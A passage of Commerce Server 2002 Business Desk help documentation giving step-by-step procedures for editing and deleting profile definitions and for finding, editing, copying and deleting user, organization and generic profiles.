  • Editing Profile Properties
  • Deleting Properties from a Profile Definition
  • Deleting Profile Definitions


Moving Profile Properties

You can create a hierarchy of property groups to organize your profile properties. After you create your property groups, you use the Profile Definition Designer module to move profile properties into property groups to organize your user and organization information.

To move a profile property

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property you want to edit, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property or property group that you want to move, and then click the Up or Down buttons below the Properties list to move the profile property to a new location.
  4. Click the up and down arrows below the Site term structure list to move the site term or group to a new location.

    Note

    • If the property is not visible in the Properties list, expand the property group that contains the property you want to move, and then select the property.
  5. To save the profile properties and return to the Profiles screen, click Save and go back on the toolbar.

The new profile property structure is saved.


Editing Profile Properties

You use the Profile Definition Designer module to edit profile properties and property groups that are used in profile definitions.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit a profile property

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition that contains the property you want to edit, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property or property group that you want to edit.

    Note

    • If the property is not visible in the Properties list, expand the property group that contains the property you want to edit, and then select the property.
  4. Edit the attributes of the property.

    Note

    • You cannot edit the name of a property after it has been created. You can edit the display name, but the actual programmatic name remains static. If you want to change the programmatic name, you must delete the property and add it again with the new programmatic name.
  5. To apply the changes to the property, click Apply.
  6. To save the edited profile definition and return to the Profiles screen, click Save and go back on the toolbar.

The edited profile definition is saved. After you edit a property in a profile definition, you must publish the changes on your Web site. For information about publishing your changes, see Publishing Profile Definition Changes on Your Web Site.

See Also

About Profiles

Adding Properties to a Profile Definition

Adding a Property Group to a Profile Definition

Deleting Properties from a Profile Definition

Adding a Property that Maps to a Site Term


Deleting Properties from a Profile Definition

You use the Profile Definition Designer module to delete properties and property groups from a profile definition. You can delete properties that contain embedded profile definitions. You cannot delete a property group that contains a child property that cannot be deleted. To delete the property group, you must first move the child property out of the group.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To delete a property group

To delete a profile property

To delete a property group

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition from which you want to delete a property group, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, select the property group that you want to delete.
  4. Click Remove.
  5. In the Delete dialog box, click OK to delete the property group.
  6. To save your changes and return to the Profiles screen, click Save and go back on the toolbar.

The edited profile definition is saved. After you delete a property group in a profile definition, you must publish the changes on your Web site. For information about publishing your changes, see Publishing Profile Definition Changes on Your Web Site.

To delete a profile property

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition from which you want to delete a property, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property that you want to delete.

    Note

    • If the property is not visible in the Properties list, expand the property group that contains the property you want to delete, and then select the property.
  4. Click Remove.
  5. In the Delete dialog box, click OK to delete the profile property.
  6. To save your changes and return to the Profiles screen, click Save and go back on the toolbar.

The edited profile definition is saved. After you delete a property in a profile definition, you must publish the changes on your Web site. For information about publishing your changes, see Publishing Profile Definition Changes on Your Web Site.

See Also

About Profiles

Adding Properties to a Profile Definition

Adding a Property Group to a Profile Definition

Editing Profile Properties

Managing Site Terms and Groups


Deleting Profile Definitions

You use the Profile Definition Designer module to delete profile definitions. If you are deleting a profile definition that is embedded in other profile definitions, you must first delete the reference. All references to the deleted profile definition will be removed from the container profile definitions. A deleted profile definition cannot be recovered.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Caution

  • A profile definition that has been deleted cannot be recovered.

To delete a profile definition

To delete multiple profile definitions

To delete a profile definition

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition you want to delete, and then click Delete on the toolbar.
  3. To delete the profile definition, in the Delete Profile dialog box, click OK.

The profile definition is deleted. It cannot be recovered. If you need to create a new profile definition, contact your system administrator.

To delete multiple profile definitions

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definitions you want to delete, and then click Delete on the toolbar.
Note
  • To select all of the profile definitions click Select All. To deselect the profile definitions, click Deselect All.
  1. To delete the profile definitions, in the Delete Profile dialog box, click OK.

The profile definitions are deleted. They cannot be recovered. If you need to create a new profile definition, contact your system administrator.


Managing User Profiles

User profiles contain information about users. You use the Users module to add, find, change, and delete information about anonymous and registered users who visit your site.

This section contains:

  • Finding a User Profile
  • Editing User Profiles
  • Copying a User Profile
  • Deleting User Profiles


Finding a User Profile

You use the Users module to search your Web site for a user profile or a group of user profiles. You can use the Find pane to narrow your search by using the properties of the profile definition and the values in the profile you are searching for. For example, you can search for a user profile that contains the value "Mike," in the profile property "First Name." The Filtered View list below the Find pane contains all the user profiles that match your search criteria.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To find a user profile

  1. In Profiles, click Users.
  2. In the UserObject screen, in the Find pane, select from the following in the Find By drop-down box:
Note
  • If the Find pane is not open, click Find on the toolbar.
Use this | To do this
Logon name | Search for a user profile by logon name.
E-mail | Search for a user profile by e-mail address.
Last name | Search for a user profile by last name.
First name | Search for a user profile by first name.
Account status | Search for a user profile with an active or inactive account.
Date registered | Search for a user profile by the date the user registered.
Partner service role flags | Search for a user profile for a user who is a Normal User or Administrator.
Date last changed | Search for a user profile that was edited on a particular date.
Date created | Search for a user profile that was created on a particular date.
Find by property | Search for a user profile by property. Use this option to create an expression to find a user profile.
User lists | Open a user list from the List Manager module.
  1. In the property value box that appears next, type or select from the drop-down list the specific value for the properties that you selected (for example, the last name or e-mail address of the user profile you are searching for).

    Notes

    • If you need a more specific search, select Find By Property from the Find By drop-down list to create an expression to find a user profile.
    • You can include a wildcard entry (*) to match any number of characters in your search. For example, t* matches any user whose name begins with the letter "t".
  2. Click Find Now.
Caution
  • When searching for user profiles, it is important to restrict your search criteria to control the number of user profiles matching your search parameters. If a large number of user profiles match your search criteria, the results could cause a significant decrease in your Commerce Server Business Desk performance.

The search is performed. If your search is successful, the user profiles you searched for appear in the Filtered View list. If your search is not successful, the message, "No items match this search" appears.

See Also

About Profiles

Adding a User Profile

Editing User Profiles

Copying a User Profile

Deleting User Profiles


Creating an Expression to Find a User Profile

You can create an expression to perform a more specific search. An expression is a combination of properties, operators, and values that yields a result upon evaluation. For example, an expression might be "User title is equal to executive assistant" and "Organization ID is equal to 3".

To create an expression to find a user profile

  1. In Profiles, click Users.
  2. In the UserObject screen, select the user profile, and then click Open on the toolbar.
  3. If the Find pane is not open, click Find on the toolbar.
  4. In the Find by box, select Find by property from the drop-down list.
  5. Click New in the Find pane.
  6. In the first drop-down list, double-click the property group, and then select the property you want to use in the search.
    Note
    • The property type for the property you select determines the conditions that are available for your search. For example, if the property you select is of the type string, you can set the condition of your search to is equal to, contains, or begins with. If the property you select is of the type site term, you can set the condition of your search to is equal to or is not equal to.
  7. In the second drop-down list, select the condition for your search.
    Note
    • The property type for the property you select determines the way that you enter the criteria for your search. For example, if the property you select is of the type string, you will type the string you are searching for in the third box. If the property you select is of the type site term, you will click the ellipsis button to open the Choose a Site Term dialog box, and then select the term you are searching for.
  8. In the third box, type or select the criteria for your search.
  9. Click Apply, and then click Find Now.

The search is performed. If your search is successful, the user profiles you searched for appear in the Filtered View list. If your search is not successful, the message, "No items match this search" appears.

See Also

About Profiles

Adding a User Profile

Editing User Profiles

Copying a User Profile

Deleting User Profiles


Finding User Profiles in a Mailing List

You use the List Manager module in Campaigns to import mailing lists. After you import a mailing list into List Manager, you can use the Find function in the Users module to find user profile instances in the mailing list. To find user profile instances in the mailing list, the e-mail addresses in the mailing list must match the e-mail addresses in the user object profile. After you find the profile instances, you can update them individually, or you can create an update query to update them in groups.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To find user profiles in a mailing list

  1. In Profiles, click Users.
  2. In the User Object screen, in the Find pane, select User lists from the Find By drop-down list.
    Note
    • If the Find pane is not open, click Find on the toolbar.
  3. A list of user lists from List Manager appears in the Find pane.
  4. Select the user list from which you want to search for user profiles, and then click Find Now.

The user profiles from the selected user list appear in the Filtered View list. You can now edit the user profiles individually, or create an update query to update multiple user profiles. For information about editing multiple user profiles, see Editing Multiple User Profiles.

See Also

Editing a Single User Profile

Editing Multiple User Profiles


Editing User Profiles

You use the Users module to edit existing user profiles. You can edit each user profile individually, or you can edit multiple user profiles. You can also use the users module to edit up to four levels of embedded user profiles.

This section contains:

  • Editing a Single User Profile
  • Editing Multiple User Profiles
  • Editing an Embedded User Profile


Editing a Single User Profile

You use the Users module to edit existing user profiles.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • After you migrate the old data into the new database columns, you can delete the database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data. To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to.

To edit a user profile

  1. In Profiles, click Users.
  2. In the UserObject screen, select the user profile, and then click Open on the toolbar.

    Note

    • To display a particular user profile, you use the Find pane at the top of the Users screen. For information about finding a user profile, see Finding a User Profile.
  3. In the Update Profile : <user profile> screen, edit the user profile.

    Note

    • For information about the Update Profile: <user profile> screen, see Adding a User Profile.
  4. To save the profile and return to the UserObject screen, click Save and go back on the toolbar.

The edited profile is saved.

See Also

About Profiles

Adding a User Profile

Copying a User Profile

Deleting User Profiles

Finding a User Profile


Editing Multiple User Profiles

You use the Users module to edit multiple user profiles. When you edit multiple user profiles, you make the same changes to all of the profiles that you are editing. You use update queries to change the value of a property in multiple user profiles.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit multiple user profiles

  1. In Profiles, click Users.
  2. In the User Object screen, select the profiles you want to edit, and then click Open on the toolbar.

    Notes

    • To display particular profiles, you use the Find pane at the top of the User Object screen. For information about finding a user profile, see Finding a User Profile.
    • To select all of the user profiles in the Filtered View list, click Select All. To deselect the user profiles in the Filtered View list, click Deselect All.
    • If you click Select All to select all user profiles in the Filtered View list, only the user profiles on the current screen (a maximum of 20 users per screen) are selected
  3. To create a new update query, in the Update <number of profiles> profiles screen, click New, and then do the following:
    Use this | To do this
    First drop-down list (left) In the first drop-down list, select User Object, select the property group, and then select the property you want to use in the update query.

    Note

    • The property type for the property you select determines the conditions that are available for your query in the second drop-down list. For example, if the property you select is of type string, you can set the condition of your search to is equal to, contains, or begins with. If the property you select is of the type site term, you can set the condition of your search to is equal to or is not equal to.
    Second drop-down list (center) | Select the condition for the update query.
    Third drop-down list (right) Type or select the new value for the property.

    The property type for the property you selected in the first box determines the way that you enter the change for that property.

    For example, if the property you select is of type string, type the string you are searching for in the third box. If the property you select is of type site term, click the Ellipsis button to open the Choose a Site Term dialog box, and then select the term you want to assign to the property.
  4. To create the new update query, click Apply.
  5. To create another update query, repeat steps 3 and 4.
  6. To save the update query and return to the User Object screen, click Save and go back on the toolbar.

The user profiles are saved with the new information.

See Also

Adding a User Profile

Finding User Profiles in a Mailing List

Editing User Profiles


Editing an Embedded User Profile

You use the Users module to edit up to four levels (including the top level) of embedded users profiles. You can also use the Users module to edit each profile individually.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit an embedded user profile

  1. In Profiles, click Users.
  2. In the User Object screen, select the profile that contains the embedded profile you want to edit, and then click Open on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the User Object screen. For information about finding a user profile, see Finding a User Profile.
  3. In the Update Profile: <user profile> screen, in the property that contains an embedded profile, select the embedded profile you want to edit from the drop-down list.

    Note

    • To edit the next layer of an embedded profile, repeat step 3.
  4. Make the changes to the embedded profile.
  5. To save the embedded profile and return to the Update Profile: <user profile> screen, click Save and go back on the toolbar.
  6. To save the user profile and return to the User Object screen, click Save on the toolbar.

The edited embedded profile is saved.


Copying a User Profile

You use the Users module to copy an existing profile. For example, if you need to add a new user profile for a user whose profile closely resembles an existing user profile, you can copy the existing user profile, make the necessary changes to the profile information, and save that profile as the profile for a new user.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To copy a user profile

  1. In Profiles, click Users.
  2. In the User Object screen, select the profile you want to copy, and then click Copy on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the User Object screen. For information about finding a user profile, see Finding a User Profile.
  3. In the New Profile (copy) screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type the logon name for the new user profile.
    User password | Type the password for the new user profile. Passwords must contain 7 to 14 alphanumeric characters. Passwords cannot contain spaces.
  4. Change the existing information in the copied profile as appropriate for the new user profile.
  5. To save the new profile and return to the User Object screen, click Save and go back on the toolbar.

The new profile is saved.

See Also

About Profiles

Adding a User Profile

Editing User Profiles

Deleting User Profiles

Finding a User Profile


Deleting User Profiles

You use the Users module to remove existing profiles from the Commerce Server database.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To delete the contents of a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to.

To delete a user profile

To delete multiple user profiles

To delete an embedded user profile

Caution

  • A profile that has been deleted cannot be recovered.

To delete a user profile

  1. In Profiles, click Users.
  2. In the User Object screen, select the user profile you want to delete, and then click Delete on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the User Object screen. For information about finding a user profile, see Finding a User Profile.
  3. In the Delete dialog box, click Yes to delete the user profile.

The user profile is deleted.

To delete multiple user profiles

Note

  • If you click Select All to select all user profiles in the Filtered View list, only the user profiles on the current screen (a maximum of 20 users per screen) are selected.
  1. In Profiles, click Users.
  2. In the User Object screen, select the user profiles you want to delete, and then click Delete on the toolbar.

    Note

    • To display particular profiles, you use the Find pane at the top of the User Object screen. For information about finding a user profile, see Finding a User Profile.
  3. In the Delete dialog box, click Yes to delete the selected profiles.

    The user profiles are deleted.

  4. To return to the Profiles screen, click Back on the toolbar.

To delete an embedded user profile

  1. In Profiles, click Users.
  2. In the User Object screen, select the user profile that contains the embedded profile you want to delete, and then click Open on the toolbar.
  3. In the Update Profile: <user profile> screen, open the drop-down list of the property that contains the profile you want to delete, and then select Remove profile reference.
  4. In the Delete dialog box, click Yes to delete the embedded user profile.
  5. To save the updated profile and return to the User Object screen, click Save and go back on the toolbar.

The profile is saved, and the embedded profile is deleted from the Profiles database.

See Also

About Profiles

Adding a User Profile

Editing User Profiles

Copying a User Profile

Finding a User Profile


Managing Organization Profiles

Organization profiles contain information about organizations, such as a division, a department, or another business unit within a company. You use the Organizations module to find, add, change, and delete information about organizations.

This section contains:

  • Finding an Organization Profile
  • Creating an Expression to Find an Organization Profile
  • Editing Organization Profiles
  • Copying an Organization Profile
  • Deleting Organization Profiles


Finding an Organization Profile

You use the Organizations module to search your Web site for an organization profile or a group of organization profiles. You can use the Find pane to narrow your search by using the properties of the profile definition and the values of the profile you are searching for. For example, you can search for an organization profile that contains the value "technical," in the profile property "Name." The Filtered View list below the Find pane contains all the organization profiles that match your search criteria.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To find an organization profile

  1. In Profiles, click Organizations.
  2. In the Organization screen, if the Find pane is not open, click Find on the toolbar.
  3. In the Find By drop-down box, do the following:
    Use this | To do this
    Name | Search for an organization profile by name.
    Date last changed | Search for an organization profile that was edited on a particular date.
    Date created | Search for an organization profile that was created on a particular date.
    Find by property | Search for an organization profile by property. Use this option to create an expression to find an organization profile.
  4. In the property value box that appears next, type or select from the drop-down list the specific value for the properties that you selected (for example, the name of the organization profile you are searching for).

    Notes

    • If you need a more elaborate search, select Find By Property from the Find By drop-down list to create an expression to find an organization profile.
    • You can include a wildcard entry (*) to match any number of characters in your search. For example, t* matches any user whose name begins with the letter "t".
  5. Click Find Now.
Caution
  • When searching for organization profiles, it is important to restrict your search criteria to control the number of organization profiles matching your search parameters. If a large number of organization profiles match your search criteria, the results could cause a significant decrease in your Commerce Server Business Desk performance.

The search is performed. If your search is successful, the organization profiles you searched for will appear in the Filtered View list. If your search is not successful, the message "No items match this search" appears.

See Also

About Profiles

Adding an Organization Profile

Editing Organization Profiles

Creating an Expression to Find an Organization Profile

Copying an Organization Profile

Deleting Organization Profiles


Creating an Expression to Find an Organization Profile

You can create an expression for a more elaborate search. An expression is a combination of properties, operators, and values that yields a result upon evaluation. For example, an expression might be "Trading Partner number is equal to 4".

To create an expression to find an organization profile

  1. In Profiles, click Organizations.
  2. In the Organizations screen, select the organization profile, and then click Open on the toolbar.
  3. If the Find pane is not open, click Find on the toolbar.
  4. In the Find by box, select Find by property from the drop-down list.
  5. Click New in the Find pane.
  6. In the first drop-down list, double-click the property group, and then select the property you want to use in the search.

    Note

    • The property type for the property you select determines the conditions that are available for your search. For example, if the property you select is of the type string, you can set the condition of your search to is equal to, contains, or begins with. If the property you select is of the type site term, you can set the condition of your search to is equal to or is not equal to.
  7. In the second drop-down list, select the condition for your search.

    Note

    • The property type for the property you select determines the way that you enter the criteria for your search. For example, if the property you select is of the type string, you will type the string you are searching for in the third box. If the property you select is of the type site term, you will click the Ellipsis button to open the Choose a Site Term dialog box, and then select the term you are searching for.
  8. In the third box, type or select the criteria for your search.
  9. Click Apply, and then click Find Now.

The search is performed. If your search is successful, the profiles you searched for appear in the Filtered View list. If your search is not successful, the message "No items match this search" appears.

See Also

About Profiles

Adding an Organization Profile

Editing Organization Profiles

Copying an Organization Profile

Deleting Organization Profiles


Editing Organization Profiles

You use the Organizations module to edit existing organization profiles. You can edit each organization profile individually, or you can edit multiple organization profiles. You can also use the Organizations module to edit up to four levels of embedded organization profiles.

This section contains:

  • Editing a Single Organization Profile
  • Editing Multiple Organization Profiles
  • Editing an Embedded Organization Profile


Editing a Single Organization Profile

You use the Organizations module to edit existing organization profiles.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit an organization profile

  1. In Profiles, click Organizations.
  2. In the Organization screen, select the organization profile you want to edit, and then click Open on the toolbar.
    Note
    • To display a particular organization profile, you use the Find pane at the top of the Organization screen. For information about finding an organization profile, see Finding an Organization Profile.
  3. In the Update Profile: <organization profile> screen, edit the organization profile.
    Note
    • For information about the Update Profile: <organization profile> screen, see Adding an Organization Profile.
  4. To save the organization profile and return to the Organization screen, click Save and go back on the toolbar.

The edited organization profile is saved.

See Also

About Profiles

Adding an Organization Profile

Copying an Organization Profile

Deleting Organization Profiles

Finding an Organization Profile


Editing Multiple Organization Profiles

You use the Organizations module to edit multiple organization profiles. When you edit multiple organization profiles, you make the same changes to all of the profiles that you are editing. You use update queries to change the value of a property in multiple organization profiles.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit multiple organization profiles

Note

  • If you click Select All to select all organization profiles in the Filtered View list, only the organization profiles on the current screen (a maximum of 20 organizations per screen) are selected.
  1. In Profiles, click Organizations.
  2. In the Organization screen, select the profiles you want to edit, and then click Open on the toolbar.

    Notes

    • To display particular profiles, you use the Find pane at the top of the Organization screen. For information about finding an organization profile, see Finding an Organization Profile.
    • To select all of the organization profiles in the Filtered View list, click Select All. To deselect the organization profiles in the Filtered View list, click Deselect All.
  3. To create a new update query, in the Update <number of profiles> profiles screen, click New, and then do the following:
    Use this | To do this
    First drop-down list (left) In the first drop-down list, select Organization, select the property group, and then select the property you want to use in the update query.

    Note

    • The property type for the property you select determines the conditions that are available for your query in the second drop-down list. For example, if the property you select is of the type string, you can set the condition of your search to is equal to, contains, or begins with. If the property you select is of the type site term, you can to set the condition of your search to is equal to or is not equal to.
    Second drop-down list (center) | Select the condition for the update query.
    Third drop-down list (right) Type or select the new value for the property.

    The property type for the property you selected in the first box determines the way that you enter the change for that property.

    For example, if the property you select is of the type string, type the string you are searching for in the third box. If the property you select is of type site term, click the Ellipsis button to open the Choose a Site Term dialog box, and then select the term you want to assign to the property.
  4. To create the new update query, click Apply.
  5. To create another update query, repeat steps 3 and 4.
  6. To save the update query and return to the Organization screen, click Save and go back on the toolbar.

The organization profiles are saved with the new information.

See Also

About Profiles

Adding an Organization Profile

Editing Organization Profiles


Editing an Embedded Organization Profile

You use the Organization module to edit up to four levels (including the top level) of embedded organization profiles. You can also use the Organization module to edit each profile individually.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To edit an embedded organization profile

  1. In Profiles, click Organizations.
  2. In the Organizations screen, select the organization profile that contains the embedded profile you want to edit, and then click Open on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the Organization screen. For information about finding an organization profile, see Finding an Organization Profile.
  3. In the Update Profile: <organization profile> screen, in the property that references an embedded profile, select the embedded profile you want to edit from the drop-down list.

    Note

    • To edit the next layer of an embedded profile, repeat step 3.
  4. Make the changes to the embedded profile.
  5. To save the embedded profile and return to the Update Profile: <organization profile> screen, click Save and go back on the toolbar.
  6. To save the organization profile and return to the Organization screen, click Save and go back on the toolbar.

The edited embedded profile is saved.

See Also

About Profiles

Adding an Organization Profile

Copying an Organization Profile

Deleting Organization Profiles

Finding an Organization Profile


Copying an Organization Profile

You use the Organizations module to copy an existing organization profile. For example, if you need to add a new organization profile that closely resembles an existing organization profile, you can copy the existing organization profile, make the necessary changes to the profile information, and save that profile as the profile for a new organization.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To edit a property that is defined as a join key that has been used to collect data, you must first delete the database column that the property is mapped to. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

To copy an organization profile

  1. In Profiles, click Organizations.
  2. In the Organizaion screen, select the profile you want to copy, and then click Copy on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the <Profile Definition> screen. For information about finding an organization profile, see Finding an Organization Profile.
  3. In the New Profile (copy) screen, in the General information section, do the following:
    Use this | To do this
    Name | Type the name for the new user organization.
  4. Change the existing information in the copied profile as appropriate for the new organization profile.
  5. To save the new organization profile and return to the Organization screen, click Save and go back on the toolbar.

The new organization profile is saved.

See Also

About Profiles

Adding an Organization Profile

Editing Organization Profiles

Deleting Organization Profiles

Finding an Organization Profile


Deleting Organization Profiles

You use the Profile Editor module to remove existing profiles from the Commerce Server database.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

  • To delete the contents of a property that is defined as a join key that has been used to collect data you first delete the database column that the property is mapped to.

To delete an organization profile

To delete multiple organization profiles

To delete an embedded organization profile

Caution

  • An organization profile that has been deleted cannot be recovered.

To delete an organization profile

  1. In Profiles, click Organizations.
  2. In the Organization screen, select the organization profile you want to delete, and then click Delete on the toolbar.

    Note

    • To display a particular profile, you use the Find pane at the top of the <Profile Definition> screen. For information about finding an organization profile, see Finding an Organization Profile.
  3. In the Delete dialog box, click Yes to delete the organization profile.

The organization profile is deleted.

To delete multiple organization profiles

Note

  • If you click Select All to select all organization profiles in the Filtered View list, only the organization profiles on the current screen (a maximum of 20 organizations per screen) are selected.
  1. In Profiles, click Organizations.
  2. In the Organization screen, select the organization profiles you want to delete, and then click Delete on the toolbar.

    Notes

    • To display particular profiles, you use the Find pane at the top of the Organization screen. For information about finding an organization profile, see Finding an Organization Profile.
    • To select all of the organization profiles in the Filtered View list, click Select All. To deselect the organization profiles in the Filtered View list, click Deselect All.
  3. In the Delete dialog box, click Yes to delete the selected profiles.

The organization profiles are deleted.

To delete an embedded organization profile

  1. In Profiles, click Organizations.
  2. In the Organization screen, select the organization profile that contains the embedded profile you want to delete, and then click Open on the toolbar.
  3. In the Update Profile: <organization profile> screen, open the drop-down list of the property that contains the profile you want to delete, and then select Remove profile reference.
  4. In the Delete dialog box, click Yes to delete the embedded user profile.
  5. To save the updated profile and return to the Organization screen, click Save and go back on the toolbar.

The profile is saved, and the embedded profile is deleted from the Profiles database.

See Also

About Profiles

Adding an Organization Profile

Editing Organization Profiles

Copying an Organization Profile

Finding an Organization Profile


Managing Generic Profiles

A generic profile is a profile created with a generic profile definiton. A generic profile definition is any profile definition other than the User Object or Organization profile definition. You use the Profile Editor module to find, add, change, and delete information about generic profiles.

This section contains:

  • Finding a Generic Profile
  • Editing Generic Profiles
  • Copying a Generic Profile
  • Deleting Generic Profiles


Finding a Generic Profile

You use the Profile Editor module to search your Web site for a generic profile or a group of generic profiles. You can use the Find pane to narrow your search by using the properties of the profile definition and the values of the profile you are searching for. For example, you can search for a generic profile that contains the value "PO345," in the profile property "PO Number." The Filtered View list displayed below the Find pane contains all of the generic profiles that match your search criteria.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To find a generic profile

Creating an expression to find a generic profile

To find a generic profile

Caution

  • When searching for generic profiles, it is important to restrict your search criteria to control the number of generic profiles matching your search parameters. If a large number of generic profiles match your search criteria, the results could cause a significant decrease in your Commerce Server Business Desk performance.
  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the profile definition that contains the generic profile you want to find, and then click Open on the toolbar.
  3. In the <profile definition> screen, if the Find pane is not open, click Find on the toolbar.
  4. In the Find By drop-down box, do the following:

    Note

    • The properties in the Find By drop-down box might not contain the same properties that are shown in this procedure. The properties in the Find By box are determined by the profile definition you selected in step 2. This example is based on the BlanketPOs profile definition.
    Use this | To do this
    PO Number | Search for a generic profile by name.
    Description | Search for a generic profile by description.
    Date last changed | Search for a generic profile that was edited on a particular date.
    Date created | Search for a generic profile that was created on a particular date.
    Find by property | Search for a generic profile by property. Use this option to create an expression to find a generic profile.
  5. In the property value box that appears next, type or select from the drop-down list the specific value for the properties that you selected (for example, the name of the PO number you are searching for).

    Notes

    • If you need a more elaborate search, select Find By Property from the Find By drop-down list to create an expression to find a generic profile.
    • You can include a wildcard entry (*) to match any number of characters in your search. For example, t* matches any user whose name begins with the letter "t".
  6. Click Find Now.

The search is performed. If your search is successful, the generic profiles you searched for appear in the Filtered View list. If your search is not successful, the message "No items match this search" appears.


Creating an Expression to Find a Generic Profile

You can create an expression for a more elaborate search. An expression is a combination of properties, operators, and values that yields a result upon evaluation. For example, an expression might be "Organization ID is equal to 4", or "PO Number is greater than 4000."

To create an expression to find a generic profile

  1. In Profiles, click Profile Editor.
  2. In the Profiles screen, select the profile definition that contains the profile you want to find, and then click Open on the toolbar.
  3. In the <profile definition> screen, if the Find pane is not open, click Find on the toolbar.
  4. In the Find by box, select Find by property from the drop-down list.
  5. Click New in the Find pane.
  6. In the first drop-down list, double-click the property group, and then select the property you want to use in the search.

    Note

    • The property type for the property you select determines the conditions that are available for your search. For example, if the property you select is of the type string, you can set the condition of your search to is equal to, contains, or begins with. If the property you select is of the type site term, you can set the condition of your search to is equal to or is not equal to.
  7. In the second drop-down list, select the condition for your search.

    Note

    • The property type for the property you select determines the way that you enter the criteria for your search. For example, if the property you select is of the type string, you will type the string you are searching for in the third box. If the property you select is of the type site term, you will click the ellipsis [...] button to open the Choose a Site Term dialog box, and then select the term you are searching for.
  8. In the third box, type or select the criteria for your search.
  9. Click Apply, and then click Find Now.

The search is performed. If your search is successful, the profiles you searched for appear in the Filtered View list. If your search is not successful, the message "No items match this search" appears.

See Also

About Profiles

Adding a Generic Profile

Editing Generic Profiles

Copying a Generic Profile

Deleting Generic Profiles


Editing Generic Profiles

You use the Profile Editor module to edit existing generic profiles. You can edit each generic profile individually, or you can edit multiple generic profiles. You can also use the Profile Editor module to edit up to four levels of embedded generic profiles.

This section contains:

  • Editing a Single Generic Profile
  • Editing Multiple Generic Profiles
  • Editing an Embedded Generic Profile


Editing a Single Generic Profile

You use the Profile Editor module to edit existing generic profiles.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

Note

